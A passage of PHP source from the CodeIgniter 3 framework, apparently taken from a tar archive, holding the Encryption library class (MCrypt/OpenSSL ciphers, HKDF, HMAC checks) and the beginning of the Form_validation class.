copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Encryption Class * * Provides two-way keyed encryption via PHP's MCrypt and/or OpenSSL extensions. * * @package CodeIgniter * @subpackage Libraries * @category Libraries * @author Andrey Andreev * @link https://codeigniter.com/user_guide/libraries/encryption.html */ class CI_Encryption { /** * Encryption cipher * * @var string */ protected $_cipher = 'aes-128'; /** * Cipher mode * * @var string */ protected $_mode = 'cbc'; /** * Cipher handle * * @var mixed */ protected $_handle; /** * Encryption key * * @var string */ protected $_key; /** * PHP extension to be used * * @var string */ protected $_driver; /** * List of usable drivers (PHP extensions) * * @var array */ protected $_drivers = array(); /** * List of available modes * * @var array */ protected $_modes = array( 'mcrypt' => array( 'cbc' => 'cbc', 'ecb' => 'ecb', 'ofb' => 'nofb', 'ofb8' => 'ofb', 'cfb' => 'ncfb', 'cfb8' => 'cfb', 'ctr' => 'ctr', 'stream' => 'stream' ), 'openssl' => array( 'cbc' => 'cbc', 'ecb' => 'ecb', 'ofb' => 'ofb', 'cfb' => 'cfb', 'cfb8' => 'cfb8', 'ctr' => 'ctr', 'stream' => '', 'xts' => 'xts' ) ); /** * List of supported HMAC algorithms * * name => digest size pairs * * @var array */ protected $_digests = array( 'sha224' => 28, 'sha256' => 32, 'sha384' => 48, 'sha512' => 64 ); /** * mbstring.func_override flag * * @var bool */ protected static $func_override; // -------------------------------------------------------------------- /** * Class constructor * * @param array $params Configuration parameters * @return void */ public function __construct(array $params = array()) { $this->_drivers = array( 'mcrypt' => defined('MCRYPT_DEV_URANDOM'), 'openssl' => extension_loaded('openssl') ); if ( ! $this->_drivers['mcrypt'] && ! $this->_drivers['openssl']) { show_error('Encryption: Unable to find an available encryption driver.'); } isset(self::$func_override) OR self::$func_override = (extension_loaded('mbstring') && ini_get('mbstring.func_override')); $this->initialize($params); if ( ! isset($this->_key) && self::strlen($key = config_item('encryption_key')) > 0) { $this->_key = $key; } log_message('info', 'Encryption Class Initialized'); } // -------------------------------------------------------------------- /** * Initialize * * @param array $params Configuration parameters * @return CI_Encryption */ public function initialize(array $params) { if ( ! empty($params['driver'])) { if (isset($this->_drivers[$params['driver']])) { if ($this->_drivers[$params['driver']]) { $this->_driver = $params['driver']; } else { log_message('error', "Encryption: Driver '".$params['driver']."' is not available."); } } else { log_message('error', "Encryption: Unknown driver '".$params['driver']."' cannot be configured."); } } if (empty($this->_driver)) { $this->_driver = ($this->_drivers['openssl'] === TRUE) ? 'openssl' : 'mcrypt'; log_message('debug', "Encryption: Auto-configured driver '".$this->_driver."'."); } empty($params['cipher']) && $params['cipher'] = $this->_cipher; empty($params['key']) OR $this->_key = $params['key']; $this->{'_'.$this->_driver.'_initialize'}($params); return $this; } // -------------------------------------------------------------------- /** * Initialize MCrypt * * @param array $params Configuration parameters * @return void */ protected function _mcrypt_initialize($params) { if ( ! empty($params['cipher'])) { $params['cipher'] = strtolower($params['cipher']); $this->_cipher_alias($params['cipher']); if ( ! in_array($params['cipher'], mcrypt_list_algorithms(), TRUE)) { log_message('error', 'Encryption: MCrypt cipher '.strtoupper($params['cipher']).' is not available.'); } else { $this->_cipher = $params['cipher']; } } if ( ! empty($params['mode'])) { $params['mode'] = strtolower($params['mode']); if ( ! isset($this->_modes['mcrypt'][$params['mode']])) { log_message('error', 'Encryption: MCrypt mode '.strtoupper($params['mode']).' is not available.'); } else { $this->_mode = $this->_modes['mcrypt'][$params['mode']]; } } if (isset($this->_cipher, $this->_mode)) { if (is_resource($this->_handle) && (strtolower(mcrypt_enc_get_algorithms_name($this->_handle)) !== $this->_cipher OR strtolower(mcrypt_enc_get_modes_name($this->_handle)) !== $this->_mode) ) { mcrypt_module_close($this->_handle); } if ($this->_handle = mcrypt_module_open($this->_cipher, '', $this->_mode, '')) { log_message('info', 'Encryption: MCrypt cipher '.strtoupper($this->_cipher).' initialized in '.strtoupper($this->_mode).' mode.'); } else { log_message('error', 'Encryption: Unable to initialize MCrypt with cipher '.strtoupper($this->_cipher).' in '.strtoupper($this->_mode).' mode.'); } } } // -------------------------------------------------------------------- /** * Initialize OpenSSL * * @param array $params Configuration parameters * @return void */ protected function _openssl_initialize($params) { if ( ! empty($params['cipher'])) { $params['cipher'] = strtolower($params['cipher']); $this->_cipher_alias($params['cipher']); $this->_cipher = $params['cipher']; } if ( ! empty($params['mode'])) { $params['mode'] = strtolower($params['mode']); if ( ! isset($this->_modes['openssl'][$params['mode']])) { log_message('error', 'Encryption: OpenSSL mode '.strtoupper($params['mode']).' is not available.'); } else { $this->_mode = $this->_modes['openssl'][$params['mode']]; } } if (isset($this->_cipher, $this->_mode)) { // This is mostly for the stream mode, which doesn't get suffixed in OpenSSL $handle = empty($this->_mode) ? $this->_cipher : $this->_cipher.'-'.$this->_mode; if ( ! in_array($handle, openssl_get_cipher_methods(), TRUE)) { $this->_handle = NULL; log_message('error', 'Encryption: Unable to initialize OpenSSL with method '.strtoupper($handle).'.'); } else { $this->_handle = $handle; log_message('info', 'Encryption: OpenSSL initialized with method '.strtoupper($handle).'.'); } } } // -------------------------------------------------------------------- /** * Create a random key * * @param int $length Output length * @return string */ public function create_key($length) { if (function_exists('random_bytes')) { try { return random_bytes((int) $length); } catch (Exception $e) { log_message('error', $e->getMessage()); return FALSE; } } elseif (defined('MCRYPT_DEV_URANDOM')) { return mcrypt_create_iv($length, MCRYPT_DEV_URANDOM); } $is_secure = NULL; $key = openssl_random_pseudo_bytes($length, $is_secure); return ($is_secure === TRUE) ? $key : FALSE; } // -------------------------------------------------------------------- /** * Encrypt * * @param string $data Input data * @param array $params Input parameters * @return string */ public function encrypt($data, array $params = NULL) { if (($params = $this->_get_params($params)) === FALSE) { return FALSE; } isset($params['key']) OR $params['key'] = $this->hkdf($this->_key, 'sha512', NULL, self::strlen($this->_key), 'encryption'); if (($data = $this->{'_'.$this->_driver.'_encrypt'}($data, $params)) === FALSE) { return FALSE; } $params['base64'] && $data = base64_encode($data); if (isset($params['hmac_digest'])) { isset($params['hmac_key']) OR $params['hmac_key'] = $this->hkdf($this->_key, 'sha512', NULL, NULL, 'authentication'); return hash_hmac($params['hmac_digest'], $data, $params['hmac_key'], ! $params['base64']).$data; } return $data; } // -------------------------------------------------------------------- /** * Encrypt via MCrypt * * @param string $data Input data * @param array $params Input parameters * @return string */ protected function _mcrypt_encrypt($data, $params) { if ( ! is_resource($params['handle'])) { return FALSE; } // The greater-than-1 comparison is mostly a work-around for a bug, // where 1 is returned for ARCFour instead of 0. $iv = (($iv_size = mcrypt_enc_get_iv_size($params['handle'])) > 1) ? $this->create_key($iv_size) : NULL; if (mcrypt_generic_init($params['handle'], $params['key'], $iv) < 0) { if ($params['handle'] !== $this->_handle) { mcrypt_module_close($params['handle']); } return FALSE; } // Use PKCS#7 padding in order to ensure compatibility with OpenSSL // and other implementations outside of PHP. if (in_array(strtolower(mcrypt_enc_get_modes_name($params['handle'])), array('cbc', 'ecb'), TRUE)) { $block_size = mcrypt_enc_get_block_size($params['handle']); $pad = $block_size - (self::strlen($data) % $block_size); $data .= str_repeat(chr($pad), $pad); } // Work-around for yet another strange behavior in MCrypt. // // When encrypting in ECB mode, the IV is ignored. Yet // mcrypt_enc_get_iv_size() returns a value larger than 0 // even if ECB is used AND mcrypt_generic_init() complains // if you don't pass an IV with length equal to the said // return value. // // This probably would've been fine (even though still wasteful), // but OpenSSL isn't that dumb and we need to make the process // portable, so ... $data = (mcrypt_enc_get_modes_name($params['handle']) !== 'ECB') ? $iv.mcrypt_generic($params['handle'], $data) : mcrypt_generic($params['handle'], $data); mcrypt_generic_deinit($params['handle']); if ($params['handle'] !== $this->_handle) { mcrypt_module_close($params['handle']); } return $data; } // -------------------------------------------------------------------- /** * Encrypt via OpenSSL * * @param string $data Input data * @param array $params Input parameters * @return string */ protected function _openssl_encrypt($data, $params) { if (empty($params['handle'])) { return FALSE; } $iv = ($iv_size = openssl_cipher_iv_length($params['handle'])) ? $this->create_key($iv_size) : NULL; $data = openssl_encrypt( $data, $params['handle'], $params['key'], 1, // DO NOT TOUCH! $iv ); if ($data === FALSE) { return FALSE; } return $iv.$data; } // -------------------------------------------------------------------- /** * Decrypt * * @param string $data Encrypted data * @param array $params Input parameters * @return string */ public function decrypt($data, array $params = NULL) { if (($params = $this->_get_params($params)) === FALSE) { return FALSE; } if (isset($params['hmac_digest'])) { // This might look illogical, but it is done during encryption as well ... // The 'base64' value is effectively an inverted "raw data" parameter $digest_size = ($params['base64']) ? $this->_digests[$params['hmac_digest']] * 2 : $this->_digests[$params['hmac_digest']]; if (self::strlen($data) <= $digest_size) { return FALSE; } $hmac_input = self::substr($data, 0, $digest_size); $data = self::substr($data, $digest_size); isset($params['hmac_key']) OR $params['hmac_key'] = $this->hkdf($this->_key, 'sha512', NULL, NULL, 'authentication'); $hmac_check = hash_hmac($params['hmac_digest'], $data, $params['hmac_key'], ! $params['base64']); // Time-attack-safe comparison $diff = 0; for ($i = 0; $i < $digest_size; $i++) { $diff |= ord($hmac_input[$i]) ^ ord($hmac_check[$i]); } if ($diff !== 0) { return FALSE; } } if ($params['base64']) { $data = base64_decode($data); } isset($params['key']) OR $params['key'] = $this->hkdf($this->_key, 'sha512', NULL, self::strlen($this->_key), 'encryption'); return $this->{'_'.$this->_driver.'_decrypt'}($data, $params); } // -------------------------------------------------------------------- /** * Decrypt via MCrypt * * @param string $data Encrypted data * @param array $params Input parameters * @return string */ protected function _mcrypt_decrypt($data, $params) { if ( ! is_resource($params['handle'])) { return FALSE; } // The greater-than-1 comparison is mostly a work-around for a bug, // where 1 is returned for ARCFour instead of 0. if (($iv_size = mcrypt_enc_get_iv_size($params['handle'])) > 1) { if (mcrypt_enc_get_modes_name($params['handle']) !== 'ECB') { $iv = self::substr($data, 0, $iv_size); $data = self::substr($data, $iv_size); } else { // MCrypt is dumb and this is ignored, only size matters $iv = str_repeat("\x0", $iv_size); } } else { $iv = NULL; } if (mcrypt_generic_init($params['handle'], $params['key'], $iv) < 0) { if ($params['handle'] !== $this->_handle) { mcrypt_module_close($params['handle']); } return FALSE; } $data = mdecrypt_generic($params['handle'], $data); // Remove PKCS#7 padding, if necessary if (in_array(strtolower(mcrypt_enc_get_modes_name($params['handle'])), array('cbc', 'ecb'), TRUE)) { $data = self::substr($data, 0, -ord($data[self::strlen($data)-1])); } mcrypt_generic_deinit($params['handle']); if ($params['handle'] !== $this->_handle) { mcrypt_module_close($params['handle']); } return $data; } // -------------------------------------------------------------------- /** * Decrypt via OpenSSL * * @param string $data Encrypted data * @param array $params Input parameters * @return string */ protected function _openssl_decrypt($data, $params) { if ($iv_size = openssl_cipher_iv_length($params['handle'])) { $iv = self::substr($data, 0, $iv_size); $data = self::substr($data, $iv_size); } else { $iv = NULL; } return empty($params['handle']) ? FALSE : openssl_decrypt( $data, $params['handle'], $params['key'], 1, // DO NOT TOUCH! $iv ); } // -------------------------------------------------------------------- /** * Get params * * @param array $params Input parameters * @return array */ protected function _get_params($params) { if (empty($params)) { return isset($this->_cipher, $this->_mode, $this->_key, $this->_handle) ? array( 'handle' => $this->_handle, 'cipher' => $this->_cipher, 'mode' => $this->_mode, 'key' => NULL, 'base64' => TRUE, 'hmac_digest' => 'sha512', 'hmac_key' => NULL ) : FALSE; } elseif ( ! isset($params['cipher'], $params['mode'], $params['key'])) { return FALSE; } if (isset($params['mode'])) { $params['mode'] = strtolower($params['mode']); if ( ! isset($this->_modes[$this->_driver][$params['mode']])) { return FALSE; } else { $params['mode'] = $this->_modes[$this->_driver][$params['mode']]; } } if (isset($params['hmac']) && $params['hmac'] === FALSE) { $params['hmac_digest'] = $params['hmac_key'] = NULL; } else { if ( ! isset($params['hmac_key'])) { return FALSE; } elseif (isset($params['hmac_digest'])) { $params['hmac_digest'] = strtolower($params['hmac_digest']); if ( ! isset($this->_digests[$params['hmac_digest']])) { return FALSE; } } else { $params['hmac_digest'] = 'sha512'; } } $params = array( 'handle' => NULL, 'cipher' => $params['cipher'], 'mode' => $params['mode'], 'key' => $params['key'], 'base64' => isset($params['raw_data']) ? ! $params['raw_data'] : FALSE, 'hmac_digest' => $params['hmac_digest'], 'hmac_key' => $params['hmac_key'] ); $this->_cipher_alias($params['cipher']); $params['handle'] = ($params['cipher'] !== $this->_cipher OR $params['mode'] !== $this->_mode) ? $this->{'_'.$this->_driver.'_get_handle'}($params['cipher'], $params['mode']) : $this->_handle; return $params; } // -------------------------------------------------------------------- /** * Get MCrypt handle * * @param string $cipher Cipher name * @param string $mode Encryption mode * @return resource */ protected function _mcrypt_get_handle($cipher, $mode) { return mcrypt_module_open($cipher, '', $mode, ''); } // -------------------------------------------------------------------- /** * Get OpenSSL handle * * @param string $cipher Cipher name * @param string $mode Encryption mode * @return string */ protected function _openssl_get_handle($cipher, $mode) { // OpenSSL methods aren't suffixed with '-stream' for this mode return ($mode === 'stream') ? $cipher : $cipher.'-'.$mode; } // -------------------------------------------------------------------- /** * Cipher alias * * Tries to translate cipher names between MCrypt and OpenSSL's "dialects". * * @param string $cipher Cipher name * @return void */ protected function _cipher_alias(&$cipher) { static $dictionary; if (empty($dictionary)) { $dictionary = array( 'mcrypt' => array( 'aes-128' => 'rijndael-128', 'aes-192' => 'rijndael-128', 'aes-256' => 'rijndael-128', 'des3-ede3' => 'tripledes', 'bf' => 'blowfish', 'cast5' => 'cast-128', 'rc4' => 'arcfour', 'rc4-40' => 'arcfour' ), 'openssl' => array( 'rijndael-128' => 'aes-128', 'tripledes' => 'des-ede3', 'blowfish' => 'bf', 'cast-128' => 'cast5', 'arcfour' => 'rc4-40', 'rc4' => 'rc4-40' ) ); // Notes: // // - Rijndael-128 is, at the same time all three of AES-128, // AES-192 and AES-256. The only difference between them is // the key size. Rijndael-192, Rijndael-256 on the other hand // also have different block sizes and are NOT AES-compatible. // // - Blowfish is said to be supporting key sizes between // 4 and 56 bytes, but it appears that between MCrypt and // OpenSSL, only those of 16 and more bytes are compatible. // Also, don't know what MCrypt's 'blowfish-compat' is. // // - CAST-128/CAST5 produces a longer cipher when encrypted via // OpenSSL, but (strangely enough) can be decrypted by either // extension anyway. // Also, it appears that OpenSSL uses 16 rounds regardless of // the key size, while RFC2144 says that for key sizes lower // than 11 bytes, only 12 rounds should be used. This makes // it portable only with keys of between 11 and 16 bytes. // // - RC4 (ARCFour) has a strange implementation under OpenSSL. // Its 'rc4-40' cipher method seems to work flawlessly, yet // there's another one, 'rc4' that only works with a 16-byte key. // // - DES is compatible, but doesn't need an alias. // // Other seemingly matching ciphers between MCrypt, OpenSSL: // // - RC2 is NOT compatible and only an obscure forum post // confirms that it is MCrypt's fault. } if (isset($dictionary[$this->_driver][$cipher])) { $cipher = $dictionary[$this->_driver][$cipher]; } } // -------------------------------------------------------------------- /** * HKDF * * @link https://tools.ietf.org/rfc/rfc5869.txt * @param $key Input key * @param $digest A SHA-2 hashing algorithm * @param $salt Optional salt * @param $length Output length (defaults to the selected digest size) * @param $info Optional context/application-specific info * @return string A pseudo-random key */ public function hkdf($key, $digest = 'sha512', $salt = NULL, $length = NULL, $info = '') { if ( ! isset($this->_digests[$digest])) { return FALSE; } if (empty($length) OR ! is_int($length)) { $length = $this->_digests[$digest]; } elseif ($length > (255 * $this->_digests[$digest])) { return FALSE; } self::strlen($salt) OR $salt = str_repeat("\0", $this->_digests[$digest]); $prk = hash_hmac($digest, $key, $salt, TRUE); $key = ''; for ($key_block = '', $block_index = 1; self::strlen($key) < $length; $block_index++) { $key_block = hash_hmac($digest, $key_block.$info.chr($block_index), $prk, TRUE); $key .= $key_block; } return self::substr($key, 0, $length); } // -------------------------------------------------------------------- /** * __get() magic * * @param string $key Property name * @return mixed */ public function __get($key) { // Because aliases if ($key === 'mode') { return array_search($this->_mode, $this->_modes[$this->_driver], TRUE); } elseif (in_array($key, array('cipher', 'driver', 'drivers', 'digests'), TRUE)) { return $this->{'_'.$key}; } return NULL; } // -------------------------------------------------------------------- /** * Byte-safe strlen() * * @param string $str * @return int */ protected static function strlen($str) { return (self::$func_override) ? mb_strlen($str, '8bit') : strlen($str); } // -------------------------------------------------------------------- /** * Byte-safe substr() * * @param string $str * @param int $start * @param int $length * @return string */ protected static function substr($str, $start, $length = NULL) { if (self::$func_override) { // mb_substr($str, $start, null, '8bit') returns an empty // string on PHP 5.3 isset($length) OR $length = ($start >= 0 ? self::strlen($str) - $start : -$start); return mb_substr($str, $start, $length, '8bit'); } return isset($length) ? substr($str, $start, $length) : substr($str, $start); } } Form_validation.php 0000775 00000110477 15060054572 0010415 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Form Validation Class * * @package CodeIgniter * @subpackage Libraries * @category Validation * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/form_validation.html */ class CI_Form_validation { /** * Reference to the CodeIgniter instance * * @var object */ protected $CI; /** * Validation data for the current form submission * * @var array */ protected $_field_data = array(); /** * Validation rules for the current form * * @var array */ protected $_config_rules = array(); /** * Array of validation errors * * @var array */ protected $_error_array = array(); /** * Array of custom error messages * * @var array */ protected $_error_messages = array(); /** * Start tag for error wrapping * * @var string */ protected $_error_prefix = '<p>'; /** * End tag for error wrapping * * @var string */ protected $_error_suffix = '</p>'; /** * Custom error message * * @var string */ protected $error_string = ''; /** * Whether the form data has been validated as safe * * @var bool */ protected $_safe_form_data = FALSE; /** * Custom data to validate * * @var array */ public $validation_data = array(); /** * Initialize Form_Validation class * * @param array $rules * @return void */ public function __construct($rules = array()) { $this->CI =& get_instance(); // applies delimiters set in config file. if (isset($rules['error_prefix'])) { $this->_error_prefix = $rules['error_prefix']; unset($rules['error_prefix']); } if (isset($rules['error_suffix'])) { $this->_error_suffix = $rules['error_suffix']; unset($rules['error_suffix']); } // Validation rules can be stored in a config file. $this->_config_rules = $rules; // Automatically load the form helper $this->CI->load->helper('form'); log_message('info', 'Form Validation Class Initialized'); } // -------------------------------------------------------------------- /** * Set Rules * * This function takes an array of field names and validation * rules as input, any custom error messages, validates the info, * and stores it * * @param mixed $field * @param string $label * @param mixed $rules * @param array $errors * @return CI_Form_validation */ public function set_rules($field, $label = '', $rules = array(), $errors = array()) { // No reason to set rules if we have no POST data // or a validation array has not been specified if ($this->CI->input->method() !== 'post' && empty($this->validation_data)) { return $this; } // If an array was passed via the first parameter instead of individual string // values we cycle through it and recursively call this function. if (is_array($field)) { foreach ($field as $row) { // Houston, we have a problem... if ( ! isset($row['field'], $row['rules'])) { continue; } // If the field label wasn't passed we use the field name $label = isset($row['label']) ? $row['label'] : $row['field']; // Add the custom error message array $errors = (isset($row['errors']) && is_array($row['errors'])) ? $row['errors'] : array(); // Here we go! $this->set_rules($row['field'], $label, $row['rules'], $errors); } return $this; } // No fields or no rules? Nothing to do... if ( ! is_string($field) OR $field === '' OR empty($rules)) { return $this; } elseif ( ! is_array($rules)) { // BC: Convert pipe-separated rules string to an array if ( ! is_string($rules)) { return $this; } $rules = preg_split('/\|(?![^\[]*\])/', $rules); } // If the field label wasn't passed we use the field name $label = ($label === '') ? $field : $label; $indexes = array(); // Is the field name an array? If it is an array, we break it apart // into its components so that we can fetch the corresponding POST data later if (($is_array = (bool) preg_match_all('/\[(.*?)\]/', $field, $matches)) === TRUE) { sscanf($field, '%[^[][', $indexes[0]); for ($i = 0, $c = count($matches[0]); $i < $c; $i++) { if ($matches[1][$i] !== '') { $indexes[] = $matches[1][$i]; } } } // Build our master array $this->_field_data[$field] = array( 'field' => $field, 'label' => $label, 'rules' => $rules, 'errors' => $errors, 'is_array' => $is_array, 'keys' => $indexes, 'postdata' => NULL, 'error' => '' ); return $this; } // -------------------------------------------------------------------- /** * By default, form validation uses the $_POST array to validate * * If an array is set through this method, then this array will * be used instead of the $_POST array * * Note that if you are validating multiple arrays, then the * reset_validation() function should be called after validating * each array due to the limitations of CI's singleton * * @param array $data * @return CI_Form_validation */ public function set_data(array $data) { if ( ! empty($data)) { $this->validation_data = $data; } return $this; } // -------------------------------------------------------------------- /** * Set Error Message * * Lets users set their own error messages on the fly. Note: * The key name has to match the function name that it corresponds to. * * @param array * @param string * @return CI_Form_validation */ public function set_message($lang, $val = '') { if ( ! is_array($lang)) { $lang = array($lang => $val); } $this->_error_messages = array_merge($this->_error_messages, $lang); return $this; } // -------------------------------------------------------------------- /** * Set The Error Delimiter * * Permits a prefix/suffix to be added to each error message * * @param string * @param string * @return CI_Form_validation */ public function set_error_delimiters($prefix = '<p>', $suffix = '</p>') { $this->_error_prefix = $prefix; $this->_error_suffix = $suffix; return $this; } // -------------------------------------------------------------------- /** * Get Error Message * * Gets the error message associated with a particular field * * @param string $field Field name * @param string $prefix HTML start tag * @param string $suffix HTML end tag * @return string */ public function error($field, $prefix = '', $suffix = '') { if (empty($this->_field_data[$field]['error'])) { return ''; } if ($prefix === '') { $prefix = $this->_error_prefix; } if ($suffix === '') { $suffix = $this->_error_suffix; } return $prefix.$this->_field_data[$field]['error'].$suffix; } // -------------------------------------------------------------------- /** * Get Array of Error Messages * * Returns the error messages as an array * * @return array */ public function error_array() { return $this->_error_array; } // -------------------------------------------------------------------- /** * Error String * * Returns the error messages as a string, wrapped in the error delimiters * * @param string * @param string * @return string */ public function error_string($prefix = '', $suffix = '') { // No errors, validation passes! if (count($this->_error_array) === 0) { return ''; } if ($prefix === '') { $prefix = $this->_error_prefix; } if ($suffix === '') { $suffix = $this->_error_suffix; } // Generate the error string $str = ''; foreach ($this->_error_array as $val) { if ($val !== '') { $str .= $prefix.$val.$suffix."\n"; } } return $str; } // -------------------------------------------------------------------- /** * Run the Validator * * This function does all the work. * * @param string $group * @return bool */ public function run($group = '') { $validation_array = empty($this->validation_data) ? $_POST : $this->validation_data; // Does the _field_data array containing the validation rules exist? // If not, we look to see if they were assigned via a config file if (count($this->_field_data) === 0) { // No validation rules? We're done... if (count($this->_config_rules) === 0) { return FALSE; } if (empty($group)) { // Is there a validation rule for the particular URI being accessed? $group = trim($this->CI->uri->ruri_string(), '/'); isset($this->_config_rules[$group]) OR $group = $this->CI->router->class.'/'.$this->CI->router->method; } $this->set_rules(isset($this->_config_rules[$group]) ? $this->_config_rules[$group] : $this->_config_rules); // Were we able to set the rules correctly? if (count($this->_field_data) === 0) { log_message('debug', 'Unable to find validation rules'); return FALSE; } } // Load the language file containing error messages $this->CI->lang->load('form_validation'); // Cycle through the rules for each field and match the corresponding $validation_data item foreach ($this->_field_data as $field => &$row) { // Fetch the data from the validation_data array item and cache it in the _field_data array. // Depending on whether the field name is an array or a string will determine where we get it from. if ($row['is_array'] === TRUE) { $this->_field_data[$field]['postdata'] = $this->_reduce_array($validation_array, $row['keys']); } elseif (isset($validation_array[$field])) { $this->_field_data[$field]['postdata'] = $validation_array[$field]; } } // Execute validation rules // Note: A second foreach (for now) is required in order to avoid false-positives // for rules like 'matches', which correlate to other validation fields. foreach ($this->_field_data as $field => &$row) { // Don't try to validate if we have no rules set if (empty($row['rules'])) { continue; } $this->_execute($row, $row['rules'], $row['postdata']); } // Did we end up with any errors? $total_errors = count($this->_error_array); if ($total_errors > 0) { $this->_safe_form_data = TRUE; } // Now we need to re-set the POST data with the new, processed data empty($this->validation_data) && $this->_reset_post_array(); return ($total_errors === 0); } // -------------------------------------------------------------------- /** * Prepare rules * * Re-orders the provided rules in order of importance, so that * they can easily be executed later without weird checks ... * * "Callbacks" are given the highest priority (always called), * followed by 'required' (called if callbacks didn't fail), * and then every next rule depends on the previous one passing. * * @param array $rules * @return array */ protected function _prepare_rules($rules) { $new_rules = array(); $callbacks = array(); foreach ($rules as &$rule) { // Let 'required' always be the first (non-callback) rule if ($rule === 'required') { array_unshift($new_rules, 'required'); } // 'isset' is a kind of a weird alias for 'required' ... elseif ($rule === 'isset' && (empty($new_rules) OR $new_rules[0] !== 'required')) { array_unshift($new_rules, 'isset'); } // The old/classic 'callback_'-prefixed rules elseif (is_string($rule) && strncmp('callback_', $rule, 9) === 0) { $callbacks[] = $rule; } // Proper callables elseif (is_callable($rule)) { $callbacks[] = $rule; } // "Named" callables; i.e. array('name' => $callable) elseif (is_array($rule) && isset($rule[0], $rule[1]) && is_callable($rule[1])) { $callbacks[] = $rule; } // Everything else goes at the end of the queue else { $new_rules[] = $rule; } } return array_merge($callbacks, $new_rules); } // -------------------------------------------------------------------- /** * Traverse a multidimensional $_POST array index until the data is found * * @param array * @param array * @param int * @return mixed */ protected function _reduce_array($array, $keys, $i = 0) { if (is_array($array) && isset($keys[$i])) { return isset($array[$keys[$i]]) ? $this->_reduce_array($array[$keys[$i]], $keys, ($i+1)) : NULL; } // NULL must be returned for empty fields return ($array === '') ? NULL : $array; } // -------------------------------------------------------------------- /** * Re-populate the _POST array with our finalized and processed data * * @return void */ protected function _reset_post_array() { foreach ($this->_field_data as $field => $row) { if ($row['postdata'] !== NULL) { if ($row['is_array'] === FALSE) { isset($_POST[$field]) && $_POST[$field] = $row['postdata']; } else { // start with a reference $post_ref =& $_POST; // before we assign values, make a reference to the right POST key if (count($row['keys']) === 1) { $post_ref =& $post_ref[current($row['keys'])]; } else { foreach ($row['keys'] as $val) { $post_ref =& $post_ref[$val]; } } $post_ref = $row['postdata']; } } } } // -------------------------------------------------------------------- /** * Executes the Validation routines * * @param array * @param array * @param mixed * @param int * @return mixed */ protected function _execute($row, $rules, $postdata = NULL, $cycles = 0) { // If the $_POST data is an array we will run a recursive call // // Note: We MUST check if the array is empty or not! // Otherwise empty arrays will always pass validation. if (is_array($postdata) && ! empty($postdata)) { foreach ($postdata as $key => $val) { $this->_execute($row, $rules, $val, $key); } return; } $rules = $this->_prepare_rules($rules); foreach ($rules as $rule) { $_in_array = FALSE; // We set the $postdata variable with the current data in our master array so that // each cycle of the loop is dealing with the processed data from the last cycle if ($row['is_array'] === TRUE && is_array($this->_field_data[$row['field']]['postdata'])) { // We shouldn't need this safety, but just in case there isn't an array index // associated with this cycle we'll bail out if ( ! isset($this->_field_data[$row['field']]['postdata'][$cycles])) { continue; } $postdata = $this->_field_data[$row['field']]['postdata'][$cycles]; $_in_array = TRUE; } else { // If we get an array field, but it's not expected - then it is most likely // somebody messing with the form on the client side, so we'll just consider // it an empty field $postdata = is_array($this->_field_data[$row['field']]['postdata']) ? NULL : $this->_field_data[$row['field']]['postdata']; } // Is the rule a callback? $callback = $callable = FALSE; if (is_string($rule)) { if (strpos($rule, 'callback_') === 0) { $rule = substr($rule, 9); $callback = TRUE; } } elseif (is_callable($rule)) { $callable = TRUE; } elseif (is_array($rule) && isset($rule[0], $rule[1]) && is_callable($rule[1])) { // We have a "named" callable, so save the name $callable = $rule[0]; $rule = $rule[1]; } // Strip the parameter (if exists) from the rule // Rules can contain a parameter: max_length[5] $param = FALSE; if ( ! $callable && preg_match('/(.*?)\[(.*)\]/', $rule, $match)) { $rule = $match[1]; $param = $match[2]; } // Ignore empty, non-required inputs with a few exceptions ... if ( ($postdata === NULL OR $postdata === '') && $callback === FALSE && $callable === FALSE && ! in_array($rule, array('required', 'isset', 'matches'), TRUE) ) { continue; } // Call the function that corresponds to the rule if ($callback OR $callable !== FALSE) { if ($callback) { if ( ! method_exists($this->CI, $rule)) { log_message('debug', 'Unable to find callback validation rule: '.$rule); $result = FALSE; } else { // Run the function and grab the result $result 